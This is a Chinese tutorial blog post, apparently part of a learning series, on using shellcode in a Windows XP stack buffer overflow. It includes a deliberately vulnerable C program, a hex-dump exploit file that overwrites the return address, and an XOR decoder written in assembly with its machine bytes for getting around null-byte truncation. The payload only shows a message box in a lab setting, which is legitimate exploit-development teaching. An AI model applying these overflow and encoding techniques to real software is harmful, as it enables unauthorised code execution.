Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化
0x00 前言
在《Windows Shellcode学习笔记——shellcode的提取与测试》中介绍了如何对shellcode作初步优化,动态获取Windows API地址并调用,并通过程序实现自动提取机器码作为shellcode并保存到文件中。
弹框实例shellcode的bin文件已上传至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
注:
shellcode.bin由getshellcode.cpp生成
getshellcode.cpp地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
接下来,要研究shellcode在具体环境中的使用和优化技巧
0x01 简介
先从最入门的缓冲区溢出开始
本文将要结合《0day安全:软件漏洞分析技术》中的“栈溢出原理与实践”章节,以其中的栈溢出代码作样本,优化我们自己生成的弹框实例shellcode,实现在栈溢出中的初步利用。
0x02 相关概念
栈区:
用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行
特殊寄存器:
ESP:栈指针寄存器(extended stack pointer),指向栈顶
EBP:基址指针寄存器(extended base pointer),指向栈底
EIP:指令寄存器(extended instruction pointer),指向下一条等待执行的指令地址
函数代码在栈中保存顺序(直观理解,已省略其他细节):
- buffer
- 前栈帧EBP
- 返回地址
- ESP
函数栈溢出原理(直观理解,已省略其他细节):
正常情况下函数在返回过程中,最后会执行返回地址中保存的内容,通常是跳到下一条指令的地址
如果buffer长度过长,长到覆盖了返回地址的值,那么函数在返回时,就会执行被覆盖的内容
如果将shellcode保存到buffer中,覆盖的返回地址为shellcode的起始地址,那么,shellcode将得到执行,完成栈溢出的利用
0x03 栈溢出实例测试
样本代码如下:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
return 0;
fread(password,56,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
return 0;
}
注:
代码选自章节2.4.2中的实验代码,作细微调整 其中 fscanf(fp,”%s”,password)在遇到空格和换行符时结束,如果shellcode中包含空格(0x20),会被截断,导致读取文件不完整
因此,将其替换为fread(password,56,1,fp);
数组password长度为56,数组buffer长度为44,在执行strcpy(buffer,password);时存在栈溢出
根据函数栈溢出原理,实现栈溢出需要以下过程:
(1) 分析并调试程序,获得淹没返回地址的偏移
(2) 获得buffer的起始地址,根据获得的偏移将其覆盖返回地址,使得函数返回时执行buffer起始地址保存的代码
(3) 提取弹框操作的机器码并保存于buffer的起始地址处,在函数返回时得到执行
测试系统:Win XP
编译器:VC6.0
build版本: debug版本
(1) 分析并调试程序,获得淹没返回地址的偏移
可在password.txt中填入56个测试字符,使用OllyDbg打开程序,定位到函数返回地址
如图
返回地址刚好被覆盖
(2) 获得buffer的起始地址并覆盖返回地址
如图
获得buffer的起始地址:0012FB7C
注:
在不同系统下buffer的起始地址不同
使用0012FB7C覆盖返回地址,即password.txt的53-56位的十六进制字符为7CFB1200(逆序保存)
(3) 提取弹框操作的机器码
参照《0day安全:软件漏洞分析技术》中的方法,使用Dependency Walker 获取ueser32.ll的基地址为0x77D10000 MessageBoxA的偏移地址为0x000407EA
如图
因此MessageBoxA在该系统上内存中的入口地址为0x77D10000+0x000407EA=0x77D507EA
替换书中MessageBoxA对应函数入口地址的机器码
最终password.txt内容如下(十六进制视图):
00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.
最终程序运行如图,栈溢出在我们的测试系统上触发成功
0x03 弹框实例shellcode在栈溢出的优化
上节简单介绍了一下栈溢出实例的原理和操作方法,本节将要介绍如何优化我们自己开发的shellcode,即弹框实例shellcode,结合具体漏洞,实现利用
弹框实例shellcode下载地址:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
shellcode长度1536
(1) 修改实例程序,使其数组足以保存我们的shellcode
完整代码如下:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[1556];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[2048]={0};
FILE *fp;
if(!(fp=fopen("password2.txt","rb")))
return 0;
fread(password,1568,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
return 0;
}
buffer长度增大到1556,用于保存弹框实例shellcode
根据上节实例,淹没返回地址的偏移9-12,因此password的长度增加到1556+12=1568
(2) strcpy遇到字符00会截断
如图
弹框实例shellcode在00000009h处字符为0x00,strcpy在执行时遇到0x00会提前截断,导致shellcode不完整,无法覆盖返回地址
所以,需要对shellcode进行编码
为方便读者理解,参照《0day安全:软件漏洞分析技术》中3.5.2节的方法(此章节有详细说明,不再赘述过程):
- shellcode尾部添加结束字符0x90
- 将shellcode逐字节同0x44作异或加密
- 汇编实现解码器并提取机器码
- 解码器的机器码放于shellcode首部
- 解码器将EAX对准shellcode起始位置,逐字节同0x44异或进行解密,遇到0x90停止
解码器的汇编代码如下:
void main()
{
__asm
{
add eax,0x14
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44
mov [eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
使用OllyDbg提取出机器码如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
新的shellcode格式如下:
解码器机器码+加密的弹框实例shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
注:
0x90^0x44=0xD4,0xD4即编码后的结束字符
“\x90\x90\x90\x90\x90\x90\x90”为填充字符串,无意义
“\x7C\xFB\x12\x00”为覆盖的函数返回地址
(3) 0xD4冲突
如图
弹框实例shellcode中也包含结束字符0xD4,解密时shellcode会被提前截断,所以需要选择一个新的结束字符
当然也可以对shellcode分段加密,针对此shellcode,恰巧0xD5未出现,因此使用0xD5作结束字符串即可,解密字符为0x91
修改后的机器码如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"
修改后的shellcode格式如下:
解码器机器码+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
(4) shellcode编码测试
编写程序实现自动读取原shellcode,加密,添加解密机器码,添加结束字符
程序已上传至github
https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
执行后如图,产生新的shellcode文件,并在屏幕输出c格式的shellcode
使用如下代码,结合屏幕输出c格式的shellcode,替换数组内容,对新的加密shellcode测试
由于代码较长,所以上传至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
如图,shellcode执行,成功实现解码器
(5) 新shellcode在栈溢出中的测试
填上解码器机器码,完整的shellcode格式如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
在栈溢出测试程序中仍然报错,使用OllyDbg加载继续调试
如下图,成功覆盖函数返回地址,接着按F8进行单步调试
如下图,此时发现异常,EAX寄存器的值为909090D5,正常情况下EAX的值应该为Buffer的起始地址,这样才能成功找到shellcode并对其解密
而寄存器EDX却保存了Buffer的起始地址
所以,我们需要对解码器作修改
(6) 修改解码器
选择一个最简单直接的方法,将EDX对准shellcode的起始位置,实现的汇编代码如下:
void main()
{
__asm
{
add edx,0x14
xor ecx,ecx
decode_loop:
mov bl,[edx+ecx]
xor bl,0x44
mov [edx+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
在OllyDbg中加载程序并提取机器码,如图
新的解码器机器码为:
"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"
最终的shellcode代码为:
"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
完整shellcode代码已上传至github,地址为:
https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
再次测试栈溢出,如图,shellcode成功执行
由于shellcode是我们自己实现的动态获取API地址,所以栈溢出测试程序中的LoadLibrary(“user32.dll”); 可以省略
0x04 小结
本文对栈溢出原理作了简要描述,着重介绍了在具体的栈溢出环境下,shellcode的优化、调试和利用技巧
当然,上述shellcode存在一个不足:shellcode在内存中的起始地址往往不固定,导致漏洞利用不一定成功
下一篇文章将要解决这个问题